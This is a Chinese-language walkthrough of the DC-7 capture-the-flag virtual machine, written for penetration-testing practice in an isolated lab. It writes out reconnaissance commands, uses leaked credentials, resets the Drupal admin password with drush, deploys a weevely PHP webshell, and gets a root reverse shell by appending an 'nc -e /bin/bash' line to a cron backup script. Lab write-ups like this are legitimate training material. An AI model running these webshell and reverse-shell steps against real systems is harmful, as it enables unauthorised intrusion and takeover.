一、实验环境
虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DC-7(网卡初始为仅主机模式,要有安全意识)
二、开始渗透
1. 搜集信息
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
。
输入netdiscover -i eth0
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.114
,。
输入nmap -sV -p- 192.168.56.114
扫描靶机所有端口开放情况。
可以看到端口22、80
是开放的。
浏览器输入192.168.56.103:80,发现是之前渗透遇到过的Drupal。
命令行输入whatweb -v 192.168.56.114
查询网站指纹信息。
可以看到一些关键信息,其中Drupal是一个内容管理系统(CMS)。
输入dirsearch -u http://192.168.56.114:80
,扫描网站目录。
发现有一大串,回头看了一下网页内容,发现有提示爆破扫描是没有用的,且让我们想想 “outside” the box。
我们注意到页面左下角有一个用户名DC7USER.
由于是老外做的的系统,我们github上看看有没有该用户的信息。
发现有,在/staffdb/config.php
文件中看到了用户名dc7user
和密码MdR3xOgB7#dW
。
2. 文件上传
想要通过用户名密码登陆网站,但是显示失败,想到靶机开放了ssh服务,我们SSH登陆靶机。输入ssh dc7user@192.168.56.114
,登陆成功。
下方有提示,You have new mail,我们进入/var/mail看看,发现名为dc7user的文件。
浏览文件内容,我们发现 /opt/scripts/ 目录下有线索,来到该目录,有backups.sh文件查看内容,发现是个定时执行备份的文件。
发现文件无法修改,故重新查看其内容,发现该文件,在/var/www/html
目录下执行了 drush命令,故我们按照文件里的执行步骤来操作。
先cd /var/www/html
然后输入drush user-password admin --password="neos"
,修改admin账户的密码为neos。
重新用admin登陆网页,登陆成功。
发现在 Content板块下的 Add content中可以添加 Basic page,我们可以在当中写入php木马,然后getshell。
然而发现,无法上传php文件,也不识别php代码,应该是Drupal版本不同,需要安装额外的模块。
这个时候我们需要将kali网卡设置为NAT模式,连接外网,下载该模块。
模块地址在https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
,下载后导入。
我们还需将php filter安装好,将网卡重新设置为仅主机模式。
好了,这里我们复习一下weevly的用法。
命令行输入weevely generate neos neos.php
,生成php木马。
将其中的内容写入网页。
提交,记录当前的url。
输入weevely http://192.168.56.114/node/9 neos
,getshell!
3. 提权
可以看到当前用户是www-data,此时可以运行之前的backups.sh文件了,backups.sh文件所属的用户组为root和www-data,可以利用它来反弹root权限的shell。
输入echo "nc -e /bin/bash 192.168.56.101 4444" >> /opt/scripts/backups.sh
向backups.sh文件中写入反弹脚本,同时本地监听4444端口。
耐心等待一段时间(邮件内容中告知为15分钟),本地收到shell,为root权限!
进入/root目录,发现最终flag!。
至此,渗透结束。
三、总结
我们已经渐入佳境,因为我们用到了很多之前渗透所用的姿势,慢慢的,渗透测试会成为一种体力活,而不是技术活。当然了,对于现在,每一次新的渗透都是一堆没学过的新的知识,希望大家能知其然,亦知其所以然,渗透结束了,可是其中大量的为什么需要你私下去思考并解决,学的只是思路,但是为什么这个思路,为什么用这个工具,还需要多多琢磨。